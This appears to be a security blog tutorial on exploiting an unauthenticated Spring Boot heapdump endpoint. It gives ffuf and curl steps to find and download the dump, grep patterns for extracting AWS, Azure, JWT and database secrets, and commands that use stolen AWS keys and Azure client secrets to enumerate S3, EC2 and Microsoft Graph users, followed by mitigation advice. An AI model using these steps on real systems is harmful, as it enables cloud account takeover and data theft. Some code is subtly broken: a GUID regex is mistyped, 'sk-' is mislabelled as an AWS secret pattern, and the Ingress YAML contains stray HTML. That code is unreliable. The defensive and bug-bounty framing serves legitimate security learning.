Exposed Spring Boot Heapdump: How a Single Endpoint Hands AWS Keys and Azure Tokens to Attackers + Video

Listen to this Post

Featured Image

Introduction

Modern microservices often rely on frameworks like Spring Boot, which expose operational endpoints such as `/actuator/heapdump` for debugging. When left unauthenticated and exposed to the internet, these endpoints become a goldmine for attackers, leaking full Java heap dumps that contain live application secrets—including cloud credentials, database connection strings, and cryptographic keys. This article dissects a real-world bug bounty report where an exposed heapdump led to complete infrastructure compromise, and provides actionable steps to detect, exploit, and mitigate such vulnerabilities across Linux, Windows, and cloud environments.

Learning Objectives

  • Understand how Spring Boot actuator misconfigurations expose sensitive memory artifacts.
  • Learn to extract credentials from heapdump files using strings, grep, and memory analysis tools.
  • Implement hardening controls for actuator endpoints, including authentication, network restrictions, and secrets rotation.

You Should Know

  1. Identifying Exposed Actuator Endpoints – From Discovery to Heapdump Download

Attackers first scan for publicly accessible Spring Boot applications, often targeting common paths like /actuator, /env, /heapdump, or /actuator/health. A simple `curl` or browser request can reveal if the endpoint is open.

Step-by-step guide:

  1. Enumerate exposed endpoints – Use a wordlist or tools like ffuf:
    ffuf -u https://target.com/FUZZ -w /usr/share/wordlists/actuator.txt -mc 200
    

Common actuator paths: `/actuator`, `/heapdump`, `/actuator/heapdump`, `/dump`

  1. Download the heapdump – If reachable, retrieve the HPROF file:
    curl -k https://target.com/actuator/heapdump -o heapdump.hprof
    

  2. Verify file size and type – Heapdumps are typically tens to hundreds of MB:

    ls -lh heapdump.hprof
    file heapdump.hprof
    

Windows alternative (PowerShell):

Invoke-WebRequest -Uri "https://target.com/actuator/heapdump" -OutFile "heapdump.hprof"
  1. Extracting Secrets from Heapdump Using Strings and Pattern Matching

Once you have the heapdump, the fastest method is to extract readable strings and filter for known secret patterns. No special memory analyzer is required for initial discovery.

Step-by-step guide:

1. Extract all strings (Linux):

strings heapdump.hprof > heapdump_strings.txt
  1. Search for AWS keys – Pattern: `AKIA` followed by 16 alphanumeric, secret key starts with any 40-char sequence:
    grep -E "AKIA[0-9A-Z]{16}" heapdump_strings.txt
    grep -E "sk-?[0-9a-zA-Z]{40}" heapdump_strings.txt
    

  2. Find Azure AD credentials – Look for client_id, client_secret, tenant_id:

    grep -i "client_secret" heapdump_strings.txt
    grep -E "[a-f0-9]{8}-[a-f0-9]{4}-[a-f0-9]{4}-[a-f9]{4}-[a-f0-9]{12}" heapdump_strings.txt
    

  3. Extract JWT keystore passwords – Search for keystore, password, jwt:

    grep -iE "keystore|password|jwt|signing.key" heapdump_strings.txt
    

  4. Database connection strings – Look for jdbc:, RDS, postgresql, mysql:

    grep -iE "jdbc:|rds:|sqs:|endpoint" heapdump_strings.txt
    

Pro tip: Use `awk` to capture surrounding context – secrets often appear near variable names.

  1. Validating Extracted AWS Credentials Using AWS CLI or STS

After obtaining potential IAM access keys, verify if they are still active and determine their permissions.

Step-by-step guide:

1. Install and configure AWS CLI (Linux/Windows):

pip install awscli
aws configure
  1. Use AWS STS to get caller identity (no need to save keys permanently):
    export AWS_ACCESS_KEY_ID=AKIA...
    export AWS_SECRET_ACCESS_KEY=...
    aws sts get-caller-identity
    

  2. Test privilege escalation – List S3 buckets or EC2 instances:

    aws s3 ls
    aws ec2 describe-instances --region us-east-1
    

4. Windows PowerShell equivalent:

$env:AWS_ACCESS_KEY_ID="AKIA..."
$env:AWS_SECRET_ACCESS_KEY="..."
aws sts get-caller-identity

4. Exploiting Azure OAuth2 Credentials for Token Generation

Leaked Azure AD `client_id` and `client_secret` allow attackers to generate access tokens and impersonate the application.

Step-by-step guide:

1. Use `curl` to request an OAuth2 token:

curl -X POST https://login.microsoftonline.com/{tenant_id}/oauth2/v2.0/token \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "client_id={client_id}" \
-d "client_secret={client_secret}" \
-d "scope=https://graph.microsoft.com/.default" \
-d "grant_type=client_credentials"
  1. Use the token to access Azure resources (e.g., Microsoft Graph):
    curl -H "Authorization: Bearer {access_token}" https://graph.microsoft.com/v1.0/users
    

3. Automate with PowerShell:

$body = @{
client_id = "xxx"
client_secret = "xxx"
scope = "https://graph.microsoft.com/.default"
grant_type = "client_credentials"
}
$response = Invoke-RestMethod -Uri "https://login.microsoftonline.com/{tenant_id}/oauth2/v2.0/token" -Method Post -Body $body

5. Mitigation: Hardening Spring Boot Actuator Endpoints

To prevent heapdump exposure, restrict access by authentication, network rules, and disabling sensitive endpoints.

Step-by-step guide (Spring Boot configuration):

1. Disable heapdump in production (`application.properties`):

management.endpoint.heapdump.enabled=false
management.endpoints.web.exposure.include=health,info

2. Enable authentication using Spring Security:

@Configuration
public class ActuatorSecurity extends WebSecurityConfigurerAdapter {
@Override
protected void configure(HttpSecurity http) throws Exception {
http.requestMatcher(EndpointRequest.toAnyEndpoint())
.authorizeRequests()
.anyRequest().hasRole("ADMIN")
.and()
.httpBasic();
}
}
  1. Restrict ingress at Kubernetes level (prevent WAF bypass):
    apiVersion: networking.k8s.io/v1
    kind: Ingress
    metadata:
    annotations:
    nginx.ingress.kubernetes.io/whitelist-source-range: "10.0.0.0/8"
    spec:
    rules:</li>
    </ol>
    
    - http:
    paths:
    - path: /actuator
    backend:
    serviceName: app-service
    servicePort: 8080
    

    4. Rotate all exposed secrets immediately after remediation.

    1. Linux & Windows Commands for Memory Forensics (No Tool Dependencies)

    If you cannot use JHAT or Eclipse Memory Analyzer, raw command-line extraction works.

    Linux one-liner to extract all potential secrets:

    strings heapdump.hprof | grep -E "AKIA|sk-|secret|key|token|password|jdbc:|AWS_|AZURE_" | sort -u > potential_secrets.txt
    

    Windows batch script:

    findstr /i "AKIA sk-" heapdump_strings.txt > aws_keys.txt
    findstr /i "client_secret tenant_id" heapdump_strings.txt > azure_tokens.txt
    

    Using `xxd` and `grep` for hex-encoded secrets:

    xxd heapdump.hprof | grep -i "aws_access_key"
    
    1. Building a Full Attack Chain Simulation (Ethical Testing)

    Recreate the scenario in a lab to understand the impact.

    Step-by-step lab setup:

    1. Deploy a vulnerable Spring Boot app with actuator exposed:
      git clone https://github.com/spring-projects/spring-boot
      cd spring-boot/spring-boot-samples/spring-boot-sample-actuator
      ./mvnw spring-boot:run
      

    2. Simulate credential leakage – Inject fake AWS keys into a `@Component` static string.

    3. Expose the app using ngrok:

    ngrok http 8080
    
    1. From attacker machine, download heapdump, extract keys, and validate.

    2. Implement mitigations (disable endpoint, add basic auth) and retest.

    What Undercode Say

    • Memory is the new plaintext – Any secret that resides in RAM during application lifetime might end up in a heapdump, making runtime credential exposure a critical risk.
    • Actuator endpoints are not for production – Default Spring Boot developer conveniences become gaping holes when left enabled and unprotected on public-facing systems.
    • Layered defense fails without secrets hygiene – Even a WAF cannot stop direct ingress misconfigurations; secrets rotation, endpoint hardening, and least-privilege IAM policies must be applied simultaneously.
    • Manual `strings` beats advanced tools for speed – In bug bounty or incident response, simple grep with pattern libraries often uncovers credentials before memory analyzers finish loading.
    • Cloud provider STS is an instant validator – Extracted keys should be tested immediately; many remain valid for hours or days after exposure.
    • Ingress bypass is common – Attackers often find exposed Kubernetes LoadBalancer services that ignore WAF rules; network policies must explicitly block actuator paths.
    • JWT keystore passwords enable token forgery – With access to signing keys, an attacker can issue arbitrary tokens, bypassing authentication entirely.
    • Pre-production environments are not safe – The original finding came from a pre-production system; developers often assume internal exposure is harmless but heapdumps can be crawled or guessed.
    • Every exposed endpoint is a potential break – The chain started with one unauthenticated endpoint; red teams should prioritize scanning for such common paths.
    • Rotation must be automated – When heapdumps leak, every credential inside (including database passwords and SQS URLs) must be rotated; manual processes will fail.

    Prediction

    As microservices and cloud-native adoption grow, misconfigured debugging endpoints will remain a top-10 vulnerability for the next 2–3 years. Attackers will shift from scanning for `/actuator/health` to programmatically hunting for /heapdump, /env, and `/configprops` across millions of IP addresses. We anticipate an increase in automated heapdump crawling tools that use pattern matching and AI to extract secrets in real time, feeding directly into cloud account takeover campaigns. Organizations will respond by mandating actuator endpoint policies in CI/CD pipelines, runtime memory scanning for secret leakage, and adopting secrets managers that avoid in-memory plaintext storage. However, the simplicity of `strings` extraction means that even perfectly configured apps may leak secrets if developers accidentally log sensitive variables. The ultimate fix requires shifting left: treat heapdumps as PII, disable them in production, and enforce mutual TLS for all management endpoints.

    ▶️ Related Video (76% Match):

    🎯Let’s Practice For Free:

    IT/Security Reporter URL:

    Reported By: Walimohammadkadri Another – Hackers Feeds
    Extra Hub: Undercode MoN
    Basic Verification: Pass ✅

    🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

    💬 Whatsapp | 💬 Telegram

    📢 Follow UndercodeTesting & Stay Tuned:

    𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin | 🦋BlueSky